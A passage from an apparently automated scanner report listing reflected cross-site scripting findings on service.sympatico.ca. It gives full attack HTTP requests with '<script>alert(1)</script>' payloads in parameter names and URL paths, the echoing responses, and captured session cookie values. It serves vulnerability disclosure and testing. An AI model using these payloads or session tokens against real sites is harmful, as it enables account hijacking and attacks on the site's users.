i, 16-Nov-2040 23:17:09 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
thod=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png412fc"><script>alert(1)</script>26a3237dfd3" />
...[SNIP]...

2.97. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5674a"><script>alert(1)</script>62d05fb6a6c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png?5674a"><script>alert(1)</script>62d05fb6a6c=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:31 GMT
Connection: close
Set-Cookie: SMSESSION=tRJonv1ZfN3Vy+3bTrok4Pz61skXOBpofkYHrU7fp91T4ymx4VvhscOMgaP89kMzDpqG23nHWV7NbqiiOEV9zSqIYr+DO2eq6T9Y1ZRS6cXWFoRS1+s+PGiTuXJSvybw5JT4uZAJ56C2HRxiS5A5R7iF/jrv5ohZLdaTqjaUUeZSJB0PGU+kuOiMMXjwsyByY4PCgTS8kW+tFv92UCWanwNk7Pfw4+WWWvvjwKh34LjTqISiR0iDxWnaNwMdAutX4FNr+jlySdkXhbeI69DVpyk1aOsYcsYCIrsgItcyuMEJcuu8+0AETQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:31 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
hod=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png?5674a"><script>alert(1)</script>62d05fb6a6c=1" />
...[SNIP]...

2.98. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9dc2"><script>alert(1)</script>8a04f4b5094 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cb9dc2"><script>alert(1)</script>8a04f4b5094/images/bt_leftContact_on_en.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:00 GMT
Connection: close
Set-Cookie: SMSESSION=6pYY8gpGbYMEgtGbBQ5PQh6L3XYG1uUKK1//Y/yr2JZEm5Su1wxe3dswciE+OjKPxMgrsvYdLWwz5NIGZQ/2dm3n0VdfA1TqV3zES8MPKgBG/BcKfFKxSz0eAhYZLmVfjV5EwTC7ovwHKef+WS4Ymqenrx7sVzhbREkVOOwC13MFY0LDTrM7gW2aSjV3b8rOXC0JQmsfMqiCIt6tQp4Dyuq5sC+PTCNvR/VkGjU8fuZ5sxy4mJFY3Uhdq30AcN8ijw/1JEhxD2WKpfvkKuWBFxfPD3C/qvBB89lRD8J/cOJ/O7QhaBA7IQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:01 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:01 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:01 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:01 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:01 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cb9dc2"><script>alert(1)</script>8a04f4b5094/images/bt_leftContact_on_en.gif" />
...[SNIP]...

2.99. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41aac"><script>alert(1)</script>b4eb61a742f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images41aac"><script>alert(1)</script>b4eb61a742f/bt_leftContact_on_en.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:08 GMT
Connection: close
Set-Cookie: SMSESSION=+YI9EZ5xbNN9onWIlk6dK2Mm30Z3V2R9QNZgWfvwu5n2Ax1qkWABaVRPF+Ky/9D16FBhFUfEcfRk7CeeOd3/ZPd3X2KbSl5rwizE6iQjSi/C+1lpwdTo7plEYKeOBWzjrE+pPYd3H/a6vOfje6ps0ntwdm3N6wh7yL68PlJPFO3Iy74b7s3biMABXHFpsPlIgbAFz9WOIKvyTqmwo7NNkk8ehqW6Ml/jBGBN/ICTLKvFdAXdhu12mqZk635jk8zc/yOwv53ytu+c3g1aiah0oNenolURhKmkix7njjpdCT1j5Xs6w0dcgQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%